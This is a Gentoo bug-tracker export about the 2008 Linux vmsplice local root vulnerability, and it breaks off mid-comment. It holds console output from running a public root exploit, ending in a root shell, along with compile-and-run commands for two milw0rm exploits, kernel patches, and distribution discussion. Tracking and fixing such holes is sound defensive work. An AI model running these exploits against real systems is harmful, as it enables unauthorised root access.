<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "http://bugs.gentoo.org/bugzilla.dtd">

<bugzilla version="2.22.7"
          urlbase="http://bugs.gentoo.org/"
          maintainer="bugzilla@gentoo.org"
>

    <bug>
          <bug_id>209460</bug_id>
          <alias>CVE-2008-0009</alias>
          <creation_ts>2008-02-09 21:05 0000</creation_ts>
          <short_desc>kernel 2.6.17 - 2.6.24.1 splice: missing user pointer access verification (CVE-2008-{0009,0010,0600})</short_desc>
          <delta_ts>2009-03-03 08:00:13 0000</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>Gentoo Security</product>
          <component>Kernel</component>
          <version>unspecified</version>
          <rep_platform>All</rep_platform>
          <op_sys>Linux</op_sys>
          <bug_status>NEW</bug_status>
          
          <bug_file_loc>http://bugzilla.kernel.org/show_bug.cgi?id=9924 http://www.milw0rm.com/exploits/5092 http://www.milw0rm.com/exploits/5093</bug_file_loc>
          <status_whiteboard>[linux &gt;= 2.6.17 &lt; 2.6.23.16] [linux &gt;= 2.6.24 &lt; 2.6.24.2] [gp &lt; 2.6.23-9] [gp &gt;2.6.24 &lt; 2.6.24-3] [vserver &lt; 2.2.0.6] [xen &lt; 2.6.18-r10] [xen &gt;= 2.6.19 &lt; 2.6.20-r7]</status_whiteboard>
          
          <priority>P2</priority>
          <bug_severity>critical</bug_severity>
          <target_milestone>---</target_milestone>
          
          <blocked>215546</blocked>
          
          <everconfirmed>1</everconfirmed>
          <reporter>commando2004@yandex.ru</reporter>
          <assigned_to>security@gentoo.org</assigned_to>
          <cc>a.boykov@timeweb.ru</cc>
    
    <cc>ahf@0x90.dk</cc>
    
    <cc>andreas@sembrant.com</cc>
    
    <cc>aoz.syn@gmail.com</cc>
    
    <cc>avenj@tellink.net</cc>
    
    <cc>bshalm@broadpark.no</cc>
    
    <cc>caluml@gmail.com</cc>
    
    <cc>cyril.jaquier@jaqpot.net</cc>
    
    <cc>gao@schrodinger.com</cc>
    
    <cc>geek@alum.rpi.edu</cc>
    
    <cc>gengor@gentoo.org</cc>
    
    <cc>gentoo-bugs@allenjb.me.uk</cc>
    
    <cc>james@nixeagle.org</cc>
    
    <cc>janusz@uni.opole.pl</cc>
    
    <cc>ja_82fi@yahoo.com</cc>
    
    <cc>jesse@boldandbusted.com</cc>
    
    <cc>kai.kasurinen@uninea.fi</cc>
    
    <cc>kamil@mrblur.net</cc>
    
    <cc>kerframil@gmail.com</cc>
    
    <cc>kernel@gentoo.org</cc>
    
    <cc>lamotte85@gmail.com</cc>
    
    <cc>lu_zero@gentoo.org</cc>
    
    <cc>mal@komcept.com</cc>
    
    <cc>massimo.fantin@alice.it</cc>
    
    <cc>mike@gaima.co.uk</cc>
    
    <cc>nuitari@nuitari.net</cc>
    
    <cc>polynomial-c@gentoo.org</cc>
    
    <cc>tacvbo@tacvbo.net</cc>
    
    <cc>thild@free.fr</cc>
    
    <cc>tom@tomaw.net</cc>
    
    <cc>ulf@net-performer.de</cc>
    
    <cc>uzak@neuron.tuke.sk</cc>

      

      
          <long_desc isprivate="0">
            <who>commando2004@yandex.ru</who>
            <bug_when>2008-02-09 21:05:33 0000</bug_when>
            <thetext>I got root on my sys-kernel/gentoo-sources-2.6.24 with this exploit:
% ./a.out
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7db8000 .. 0xb7dea000
[+] root
# whoami
root

Reproducible: Always

Steps to Reproduce:
1. Compile exploit using gcc
2. Execute it
3. Got root...

Actual Results:  
Privilege escalation</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>commando2004@yandex.ru</who>
            <bug_when>2008-02-09 22:11:04 0000</bug_when>
            <thetext>Created an attachment (id=143059)
Linux vmsplice Local Root Exploit

</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jakub@gentoo.org</who>
            <bug_when>2008-02-10 01:14:29 0000</bug_when>
            <thetext>Yeah, fixed with http://tinyurl.com/38me8k</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jakub@gentoo.org</who>
            <bug_when>2008-02-10 01:29:08 0000</bug_when>
            <thetext>Erm... or not... this isn&apos;t properly fixed:

$ ./a.out 
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7dfe000 .. 0xb7e30000
Segmentation fault

$ ./a.out 
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e1e000 .. 0xb7e50000
[-] wtf

$ ./a.out 
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7dd7000 .. 0xb7e09000
[+] root

# whoami
root
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>dertobi123@gentoo.org</who>
            <bug_when>2008-02-10 14:03:15 0000</bug_when>
            <thetext>*** Bug 209530 has been marked as a duplicate of this bug. ***</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jakub@gentoo.org</who>
            <bug_when>2008-02-10 14:33:48 0000</bug_when>
            <thetext>*** Bug 209533 has been marked as a duplicate of this bug. ***</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kim@khh.dk</who>
            <bug_when>2008-02-10 16:29:16 0000</bug_when>
            <thetext>This should fix the issue:

From: Bastian Blank &lt;bastian@waldi.eu.org&gt;

The commit 8811930dc74a503415b35c4a79d14fb0b408a361 (&quot;splice: missing user
pointer access verification&quot;) added access_ok() to copy_from_user_mmap_sem()
which only ensures we can copy the struct iovecs from userspace to the kernel
but we also must check whether we can access the actual memory region pointed
to by the struct iovec to close the local root exploit.

Cc: &lt;stable@kernel.org&gt;
Cc: Jens Axboe &lt;jens.axboe@oracle.com&gt;
Cc: Andrew Morton &lt;akpm@linux-foundation.org&gt;
Signed-off-by: Pekka Enberg &lt;penberg@cs.helsinki.fi&gt;
---
Bastian, can I have your Signed-off-by for this, please? Oliver, Niki, can 
you please confirm this closes the hole?

 fs/splice.c |    3 +++
 1 file changed, 3 insertions(+)

Index: linux-2.6/fs/splice.c
===================================================================
--- linux-2.6.orig/fs/splice.c
+++ linux-2.6/fs/splice.c
@@ -1237,6 +1237,9 @@ static int get_iovec_page_array(const st
 		if (unlikely(!base))
 			break;
 
+		if (unlikely(!access_ok(VERIFY_READ, base, len)))
+			break;
+
 		/*
 		 * Get this base offset and number of pages, then map
 		 * in the user pages.
--</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jakub@gentoo.org</who>
            <bug_when>2008-02-10 21:02:23 0000</bug_when>
            <thetext>*** Bug 209602 has been marked as a duplicate of this bug. ***</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jakub@gentoo.org</who>
            <bug_when>2008-02-10 21:13:21 0000</bug_when>
            <thetext>(In reply to comment #6)

Yeah this looks finally like a working patch...</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>brenden@rty.ca</who>
            <bug_when>2008-02-10 21:59:33 0000</bug_when>
            <thetext>Created an attachment (id=143165)
splice.patch

The patch from comment #6 works here on 2.6.22.  I had to modify the patch offset slightly, so I&apos;m posting the resulting diff here for the benefit of others.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>hoffie@gentoo.org</who>
            <bug_when>2008-02-11 09:25:11 0000</bug_when>
            <thetext>If I didn&apos;t mis-interpret dsd&apos;s blog post [1] this should be fixed in gentoo-sources-2.6.23-r8 or gentoo-sources-2.6.24-r2, with the first one having been stabled on x86 and am64 already.
Vanilla linux-2.6.23.16 and 2.6.24.2 (containing the fix) have been released as well.

(Posting it here as well to keep this bug up-to-date)

[1] http://www.reactivated.net/weblog/archives/2008/02/critical-linux-kernel-vmsplice-security-issues/</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>wschlich@gentoo.org</who>
            <bug_when>2008-02-11 09:42:10 0000</bug_when>
            <thetext>There is also a different patch around:

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=464945#54
http://bugs.debian.org/cgi-bin/bugreport.cgi?msg=54;filename=patch;att=1;bug=464945</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>dsd@gentoo.org</who>
            <bug_when>2008-02-11 10:30:31 0000</bug_when>
            <thetext>there were various patches thrown up, some did not fix the issue properly, some opened other holes. we took the ones that went upstream</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>nelchael@gentoo.org</who>
            <bug_when>2008-02-11 12:32:11 0000</bug_when>
            <thetext>sys-kernel/tuxonice-sources 2.6.23-r10 (genpatches 9) and 2.6.24-r1 (genpatches 3) ready, both should go stable same time as gentoo-sources.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>decoder@own-hero.net</who>
            <bug_when>2008-02-11 18:03:12 0000</bug_when>
            <thetext>(In reply to comment #0)
&gt; I got root on my sys-kernel/gentoo-sources-2.6.24 with this exploit:

I tested this on Gentoo Hardened Sources 2.6.18 and it worked as well.. I tried to fix it by uprading to 2.6.23 and applying the patches provided by the linux kernel   git repo but for some reason the exploit still works.. when will this be fixed in hardened-sources?

Regards,


Chris
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kerframil@gmail.com</who>
            <bug_when>2008-02-11 19:08:13 0000</bug_when>
            <thetext>In response to Comment 14 - I would invite you to have a look at bug 207393 where the matter of updating and committing a new version of hardened-sources is being discussed.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>ulf@net-performer.de</who>
            <bug_when>2008-02-12 00:10:25 0000</bug_when>
            <thetext>Patch from gentoo-sources-2.6.24-r2 (1400_vmsplice-user-pointer.patch) also applies to xen-sources-2.6.20-r6 and fixed the security issue for me.
It would be great, if someone could supply an updated xen-sources package</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>nelchael@gentoo.org</who>
            <bug_when>2008-02-12 07:51:41 0000</bug_when>
            <thetext>(In reply to comment #13)
&gt; sys-kernel/tuxonice-sources 2.6.23-r10 (genpatches 9) and 2.6.24-r1 (genpatches
&gt; 3) ready, both should go stable same time as gentoo-sources.

Only tuxonice-sources-2.6.24-r1 should be considered for stabilization wrt this bug, 2.6.23-r10 doesn&apos;t patch well (changes in stable branch broke tuxonice) and was removed.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>nelchael@gentoo.org</who>
            <bug_when>2008-02-12 07:52:55 0000</bug_when>
            <thetext>(In reply to comment #17)
&gt; Only tuxonice-sources-2.6.24-r1 should be considered for stabilization wrt this
&gt; bug

Big mistake: above should be 2.6.24-r2 (as -r2 contains fix for userui related problem).
</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>dsd@gentoo.org</who>
            <bug_when>2008-02-12 10:31:58 0000</bug_when>
            <thetext>2.6.24 is nowhere near ready to go stable, pending on at least #207383 #208493, and probably a few more that I haven&apos;t caught up with yet</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kerframil@gmail.com</who>
            <bug_when>2008-02-12 13:12:21 0000</bug_when>
            <thetext>I would invite the kernel team to consider commit 900cf086fd2fbad07f72f4575449e0d0958f860f to Linus&apos; tree entitled &quot;Be more robust about bad arguments in get_user_pages()&quot;. In particular, consider this remark from its author, Jonathan Corbet:

&quot; ... how could a failure to check for *read* access turn into a root exploit? It turns out that it&apos;s a buffer overflow problem which is made easy by the way get_user_pages() is coded.&quot;

He&apos;s pointing out that the vmsplice() exploit is, in fact, just an access vector for a vulnerability that really resides in get_user_pages(). Moreover, it is quite plausible that get_user_pages() could be exploited by other presently unknown means in the kernel - for example, according to the PaX author, Direct I/O is a potential candidate but who knows what else ...

The aformentioned commit closes this loophole. Jonathan has also written an article about it here, for which a subscription is required until 21st Feb: http://lwn.net/Articles/268783/.

I think this patch is a prime candidate for genpatches-base and the stable queue. By committing this we could well be forearmed against future attacks that are based on the same principle. For the commit, see http://tinyurl.com/2l5xal. The patch itself is as follows:

diff --git a/mm/memory.c b/mm/memory.c
index e5628a5..717aa0e 100644 (file)
--- a/mm/memory.c
+++ b/mm/memory.c
@@ -989,6 +989,8 @@ int get_user_pages(struct task_struct *tsk, struct mm_struct *mm,
        int i;
        unsigned int vm_flags;
 
+       if (len &lt;= 0)
+               return 0;
        /* 
         * Require read or write permissions.
         * If &apos;force&apos; is set, we only require the &quot;MAY&quot; flags.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>unnamedrambler@gmail.com</who>
            <bug_when>2008-02-12 13:50:08 0000</bug_when>
            <thetext>Any news from the suspend2-sources maintainers regarding when a patch will be published?</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>ja_82fi@yahoo.com</who>
            <bug_when>2008-02-12 14:23:24 0000</bug_when>
            <thetext>By the way, why is there still no GLSA about this? Or will they only be published after the bug has been fixed?

As a reply comment #21, suspend2 has been renamed to tuxonice, and I understood that the same patch would apply there as would apply to gentoo sources. That&apos;s how I&apos;m reading from comment #13 - correct me if I&apos;m wrong (for example, if the stuff in comment #20 changes this somehow).</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>dsd@gentoo.org</who>
            <bug_when>2008-02-12 14:39:25 0000</bug_when>
            <thetext>(In reply to comment #20)
&gt; I would invite the kernel team to consider commit
&gt; 900cf086fd2fbad07f72f4575449e0d0958f860f 

thanks, queued.

(In reply to comment #22)
&gt; By the way, why is there still no GLSA about this?

We do not do kernel GLSAs, sorry. Both the security and kernel projects don&apos;t have enough resources to coordinate them (too many kernels, and too many vulns because almost any small kernel bug is a vulnerability). We had a couple of developers who attempted to fill the &quot;kernel security&quot; role in the past but they burned out - it&apos;s a mindlessly boring unforgiving task which eats hours upon hours. Are you interested? :)</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>ja_82fi@yahoo.com</who>
            <bug_when>2008-02-12 15:06:38 0000</bug_when>
            <thetext>&gt; We do not do kernel GLSAs, sorry.

Now that you said it, I noticed that gentoo security handbook says that &quot;Keeping your kernel up-to-date is also recommended.&quot; - even though I&apos;m not sure if it really points out that kernel GLSAs don&apos;t even exist at all.

&gt; it&apos;s a mindlessly boring unforgiving task which eats hours upon hours.
&gt; Are you interested? :)

The description sure sounds tempting :-) I guess I&apos;m going to pass this one...</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>nelchael@gentoo.org</who>
            <bug_when>2008-02-12 16:14:05 0000</bug_when>
            <thetext>(In reply to comment #22)
&gt; As a reply comment #21, suspend2 has been renamed to tuxonice, and I understood
&gt; that the same patch would apply there as would apply to gentoo sources. That&apos;s
&gt; how I&apos;m reading from comment #13 - correct me if I&apos;m wrong (for example, if the
&gt; stuff in comment #20 changes this somehow).

Yes, suspend2-sources is p.masked, pending removal. I&apos;ve contacted Nigel (TuxOnIce upstream) about resyncing patch for 2.6.23.16.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>caluml@gmail.com</who>
            <bug_when>2008-02-12 18:39:26 0000</bug_when>
            <thetext>I do think it&apos;s a shame about the lack of kernel GLSAs.
The original reason was that there was going to be a shiny new tool called KISS, which was obviously much more exciting to work on. That never materialised though.

Perhaps not for every little thing - not for example for a DoS in some random RAID controller module only on FooBAR/08 architectures, but for local/remote roots that affect large percentages of users, it would be good.

After I&apos;ve installed a machine, I set up a cron job that emails me the output of glsa-check -l affected, and only update software that&apos;s affected.

I find it strange that the main, core component that everything else runs on is excluded from the Gentoo **Linux** &quot;Security Advisories&quot;.

The first I heard of this was on Slashdot, and that&apos;s not the best way to get your news. Yes, there are other ways to get this info. Not everyone has time to trawl through mailing lists, and Bugzillas, etc though. GLSAs are a nice method.

Anyway, I mentioned this on the security mailing list a couple of times, and got shouted down, so I&apos;ll don my suit now.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jaervosz@gentoo.org</who>
            <bug_when>2008-02-12 19:01:25 0000</bug_when>
            <thetext>While you install the kernel sources with emerge, you don&apos;t actually install the kernel with emerge, so kernels are treated special. AFAIK glsa-check will only check if you have some vulnerable kernel sources installed and nothing about the running kernel.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>avenj@tellink.net</who>
            <bug_when>2008-02-12 19:57:22 0000</bug_when>
            <thetext>I realize there are a metric shitton of kernels in the tree but it seems to me it would make sense to make _some_ attempt to ensure users are aware of things like a root exploit in the Linux part of Gentoo Linux. &quot;It can&apos;t be fixed with just emerge blah so we don&apos;t GLSA it&quot; is interesting to put it mildly. I&apos;m interested though, maybe I&apos;d even consider a return to Gentoo: why does doing kernel security even vaguely right eat hours upon hours?

It&apos;s fixed in the tree for at least some kernels, why is it impossible to notify users of which kernels are broken and which are fixed?

And do you really think it&apos;s a good idea for serious distributions to quietly fix root exploits in the kernel without notifying users?</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>py@gentoo.org</who>
            <bug_when>2008-02-12 20:26:36 0000</bug_when>
            <thetext>(In reply to comment #26)
&gt; I do think it&apos;s a shame about the lack of kernel GLSAs.
&gt; The original reason was that there was going to be a shiny new tool called
&gt; KISS, which was obviously much more exciting to work on. That never
&gt; materialised though.
&gt; 
&gt; Perhaps not for every little thing - not for example for a DoS in some random
&gt; RAID controller module only on FooBAR/08 architectures, but for local/remote
&gt; roots that affect large percentages of users, it would be good.
&gt; 
&gt; After I&apos;ve installed a machine, I set up a cron job that emails me the output
&gt; of glsa-check -l affected, and only update software that&apos;s affected.
&gt; 
&gt; I find it strange that the main, core component that everything else runs on is
&gt; excluded from the Gentoo **Linux** &quot;Security Advisories&quot;.
&gt; 
&gt; The first I heard of this was on Slashdot, and that&apos;s not the best way to get
&gt; your news. Yes, there are other ways to get this info. Not everyone has time to
&gt; trawl through mailing lists, and Bugzillas, etc though. GLSAs are a nice
&gt; method.
&gt; 
&gt; Anyway, I mentioned this on the security mailing list a couple of times, and
&gt; got shouted down, so I&apos;ll don my suit now.
&gt; 

Well, I won&apos;t shout at you, I&apos;ll just point you to comment #23 on this bug...I think everyone would like to have kernel GLSA, but remember, unlike Ubuntu or Fedora, here no one gets paid to do the job, and god knows tracking kernel issues on a dozen different patchset is all but an exciting task...</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jaervosz@gentoo.org</who>
            <bug_when>2008-02-12 20:50:18 0000</bug_when>
            <thetext>@Jon: You&apos;re more than welcome to return to help with kernel security. I&apos;d buy you beer any day I meet you for that:)

Wrt informing users I think a news item on the front page and an announce mail is going to happen.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>rbu@gentoo.org</who>
            <bug_when>2008-02-12 20:57:08 0000</bug_when>
            <thetext>Can we please discuss Gentoo&apos;s kernel security process off of this bug? I&apos;m happy for any insights, offers, and ideas, if they go to the security mailing list, or the security@g.o alias.

Calum, if you are really interested in helping out within kernel security, please let me know in private.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kerframil@gmail.com</who>
            <bug_when>2008-02-12 21:56:25 0000</bug_when>
            <thetext>Of those kernel ebuilds that leverage genpatches-base (all of the 2.6 versions apparently), figuring out which are vulnerable isn&apos;t so hard. Let&apos;s assume the following:

* &lt; 2.6.17 is not vulnerable (debatable)
* All other version are except for:
    2.6.23 + genpatches-base-2.6.23-9
    2.6.24 + genpatches-base-2.6.24-3

Now for a cheeky one-liner to look for those that are vulnerable:

$ cd /usr/portage/sys-kernel &amp;&amp; find -iname &quot;*.ebuild&quot; -exec grep -H GENPATCHES_VER &apos;{}&apos; \; | cut -d/ -f3- | perl -ne &apos;m/(.+)\-2\.6\.(\d+)(?:\-r(\d+))?.+?&quot;(\d+)&quot;/ &amp;&amp; (($2 &gt;= 17 &amp;&amp; $2 &lt; 23) || ($2 == 24 &amp;&amp; $4 &lt; 3) || ($2 == 23 &amp;&amp; $4 &lt; 9)) &amp;&amp; print &quot;$1-2.6-$2&quot; . (($3)?&quot;-r$3&quot;:&quot;&quot;) . &quot; [genpatches-2.6.$2-$4]\n&quot;&apos; | sort
gentoo-sources-2.6-19-r5 [genpatches-2.6.19-6]
gentoo-sources-2.6-19-r7 [genpatches-2.6.19-8]
gentoo-sources-2.6-20-r10 [genpatches-2.6.20-14]
gentoo-sources-2.6-21-r4 [genpatches-2.6.21-6]
gentoo-sources-2.6-22 [genpatches-2.6.22-1]
gentoo-sources-2.6-22-r1 [genpatches-2.6.22-2]
gentoo-sources-2.6-22-r10 [genpatches-2.6.22-11]
gentoo-sources-2.6-22-r2 [genpatches-2.6.22-3]
gentoo-sources-2.6-22-r3 [genpatches-2.6.22-4]
gentoo-sources-2.6-22-r4 [genpatches-2.6.22-5]
gentoo-sources-2.6-22-r5 [genpatches-2.6.22-6]
gentoo-sources-2.6-22-r6 [genpatches-2.6.22-7]
gentoo-sources-2.6-22-r7 [genpatches-2.6.22-8]
gentoo-sources-2.6-22-r8 [genpatches-2.6.22-9]
gentoo-sources-2.6-22-r9 [genpatches-2.6.22-10]
gentoo-sources-2.6-23 [genpatches-2.6.23-1]
gentoo-sources-2.6-23-r1 [genpatches-2.6.23-2]
gentoo-sources-2.6-23-r2 [genpatches-2.6.23-3]
gentoo-sources-2.6-23-r3 [genpatches-2.6.23-4]
gentoo-sources-2.6-23-r4 [genpatches-2.6.23-5]
gentoo-sources-2.6-23-r5 [genpatches-2.6.23-6]
gentoo-sources-2.6-23-r6 [genpatches-2.6.23-7]
gentoo-sources-2.6-23-r7 [genpatches-2.6.23-8]
gentoo-sources-2.6-24 [genpatches-2.6.24-1]
gentoo-sources-2.6-24-r1 [genpatches-2.6.24-2]
hardened-sources-2.6-20-r10 [genpatches-2.6.20-19]
hardened-sources-2.6-20-r6 [genpatches-2.6.20-13]
hardened-sources-2.6-23-r4 [genpatches-2.6.23-6]
hardened-sources-2.6-23-r6 [genpatches-2.6.23-7]
rsbac-sources-2.6-18 [genpatches-2.6.18-3]
rsbac-sources-2.6-18-r1 [genpatches-2.6.18-3]
rsbac-sources-2.6-19 [genpatches-2.6.19-5]
rsbac-sources-2.6-19-r1 [genpatches-2.6.19-7]
rsbac-sources-2.6-21 [genpatches-2.6.21-4]
rsbac-sources-2.6-21-r1 [genpatches-2.6.21-4]
suspend2-sources-2.6-21-r7 [genpatches-2.6.21-6]
suspend2-sources-2.6-22-r2 [genpatches-2.6.22-6]
tuxonice-sources-2.6-23 [genpatches-2.6.23-1]
tuxonice-sources-2.6-23-r1 [genpatches-2.6.23-2]
tuxonice-sources-2.6-23-r2 [genpatches-2.6.23-3]
tuxonice-sources-2.6-23-r3 [genpatches-2.6.23-4]
tuxonice-sources-2.6-23-r4 [genpatches-2.6.23-4]
tuxonice-sources-2.6-23-r5 [genpatches-2.6.23-5]
tuxonice-sources-2.6-23-r6 [genpatches-2.6.23-6]
tuxonice-sources-2.6-23-r7 [genpatches-2.6.23-7]
tuxonice-sources-2.6-23-r8 [genpatches-2.6.23-7]
tuxonice-sources-2.6-23-r9 [genpatches-2.6.23-7]
tuxonice-sources-2.6-24 [genpatches-2.6.24-1]
usermode-sources-2.6-18 [genpatches-2.6.18-1]
usermode-sources-2.6-18-r1 [genpatches-2.6.18-8]
usermode-sources-2.6-18-r2 [genpatches-2.6.18-8]
xen-sources-2.6-18-r6 [genpatches-2.6.18-10]
xen-sources-2.6-18-r7 [genpatches-2.6.18-10]
xen-sources-2.6-18-r8 [genpatches-2.6.18-10]
xen-sources-2.6-20-r5 [genpatches-2.6.20-19]
xen-sources-2.6-20-r6 [genpatches-2.6.20-19]

I must say that it seems as though a little tree de-crufting wouldn&apos;t go amiss.

We&apos;re missing vserver-sources here as it uses an odd version numbering scheme. Still, a casual glance at all versions in portage makes it plainly obvious that they are vulnerable:

$ cd /usr/portage/sys-kernel/vserver-sources &amp;&amp; for ebuild in *.ebuild; do CKV=$(grep ^CKV $ebuild | cut -d\&quot; -f2); GPV=$(grep ^K_GENPATCHES_VER $ebuild | cut -d\&quot; -f2); echo &quot;$ebuild [genpatches-base-$CKV-$GPV]&quot;; done
vserver-sources-2.2.0-r1.ebuild [genpatches-base-2.6.20-13]
vserver-sources-2.2.0.4.ebuild [genpatches-base-2.6.22-10]
vserver-sources-2.2.0.5.ebuild [genpatches-base-2.6.22-10]
vserver-sources-2.3.0.27.ebuild [genpatches-base-2.6.22-10]
vserver-sources-2.3.0.29.ebuild [genpatches-base-2.6.22-10]</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jakub@gentoo.org</who>
            <bug_when>2008-02-13 13:10:02 0000</bug_when>
            <thetext>*** Bug 209992 has been marked as a duplicate of this bug. ***</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>hollow@gentoo.org</who>
            <bug_when>2008-02-13 14:27:36 0000</bug_when>
            <thetext>(In reply to comment #32)
&gt; We&apos;re missing vserver-sources here as it uses an odd version numbering scheme.
&gt; Still, a casual glance at all versions in portage makes it plainly obvious that
&gt; they are vulnerable:
&gt; 
&gt; $ cd /usr/portage/sys-kernel/vserver-sources &amp;&amp; for ebuild in *.ebuild; do
&gt; CKV=$(grep ^CKV $ebuild | cut -d\&quot; -f2); GPV=$(grep ^K_GENPATCHES_VER $ebuild |
&gt; cut -d\&quot; -f2); echo &quot;$ebuild [genpatches-base-$CKV-$GPV]&quot;; done
&gt; vserver-sources-2.2.0-r1.ebuild [genpatches-base-2.6.20-13]
&gt; vserver-sources-2.2.0.4.ebuild [genpatches-base-2.6.22-10]
&gt; vserver-sources-2.2.0.5.ebuild [genpatches-base-2.6.22-10]
&gt; vserver-sources-2.3.0.27.ebuild [genpatches-base-2.6.22-10]
&gt; vserver-sources-2.3.0.29.ebuild [genpatches-base-2.6.22-10]

2.2.0.6 (just commited) is not vulnerable</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>aoz.syn@gmail.com</who>
            <bug_when>2008-02-13 20:02:05 0000</bug_when>
            <thetext>Tested per Kerin&apos;s IRC request:

========================================
[test@dev-01 ~] uname -a
Linux dev-01 2.6.23-hardened-r7 #4 SMP PREEMPT Wed Feb 13 11:55:39 MST 2008 i686 Intel(R) Xeon(TM) CPU 3.06GHz GenuineIntel GNU/Linux
[test@dev-01 ~] gcc -static -Wno-format -o milw0rm-5092 copy_from_user_mmap_sem.c
[test@dev-01 ~] ./milw0rm-5092
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x57ed9000 .. 0x57f0b000
[-] vmsplice: Bad address
[test@dev-01 ~] gcc -static -Wno-format -o milw0rm-5093 vmsplice_to_pipe.c
[test@dev-01 ~] ./milw0rm-5093
-----------------------------------
 Linux vmsplice Local Root Exploit
 By qaaz
-----------------------------------
[+] addr: 0x16b64
[-] wtf
========================================

Couldn&apos;t get milw0rm 5092 (CVE-2008-0600) to get to &apos;wtf&apos;.  I have turned off CONFIG_PAX_UDEREF, CONFIG_PAX_ASLR, and CONFIG_GRKERNSEC_HIDESYM, as well as made /proc/kallsyms world-readable.

So, 0010 and 0600 (copy_from_user_mmap_sem and vmsplice_to_pipe, respectively) were tested, but I couldn&apos;t find any code against 0009 (vmsplice_to_user).</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jakub@gentoo.org</who>
            <bug_when>2008-02-14 17:44:24 0000</bug_when>
            <thetext>*** Bug 210156 has been marked as a duplicate of this bug. ***</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>kang@gentoo.org</who>
            <bug_when>2008-02-15 17:21:11 0000</bug_when>
            <thetext>both fixes are in rsbac-sources-2.6.23 on cvs ~arch as well now
(note, the fix is in the RSBAC patch so checking genpatch version will be unaccurate for this one)</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>geek@alum.rpi.edu</who>
            <bug_when>2008-02-15 17:50:12 0000</bug_when>
            <thetext>*** Bug 210263 has been marked as a duplicate of this bug. ***</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>jakub@gentoo.org</who>
            <bug_when>2008-02-17 11:11:01 0000</bug_when>
            <thetext>*** Bug 210451 has been marked as a duplicate of this bug. ***</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>nelchael@gentoo.org</who>
            <bug_when>2008-02-17 20:23:50 0000</bug_when>
            <thetext>(In reply to comment #25)
&gt; Yes, suspend2-sources is p.masked, pending removal. I&apos;ve contacted Nigel
&gt; (TuxOnIce upstream) about resyncing patch for 2.6.23.16.

tuxonice-sources-2.6.23-r10.ebuild:
Revision bump for genpatches 9, TuxOnIce 3.0-rc5 for 2.6.23.16.</thetext>
          </long_desc>
          <long_desc isprivate="0">
            <who>hollow@gentoo.org</who>
            <bug_when>2008-02-20 12:07:01 0000</bug_when>
